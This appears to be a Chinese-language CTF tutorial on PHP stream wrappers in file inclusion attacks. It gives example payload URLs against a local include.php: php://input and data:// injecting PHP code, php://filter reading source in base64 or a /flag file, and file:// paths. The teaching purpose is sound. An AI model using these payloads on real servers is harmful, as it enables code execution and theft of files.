在ctf中常用的有data:// , php://input , php://filter ,file://

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php://input ,data://用来执行命令

1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

php://filter,file://用来读取文件

3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-(encode/resource=phpinfo.php读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

1.file://协议

条件:

1
2
allow_url_fopen : off/on
allow_url_include: off/on

作用:

用于访问本地文件系统,在ctf中通常用来读取本地文件

在include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的

说明:

file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。

用法:

1
2
3
4
5
6
7
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext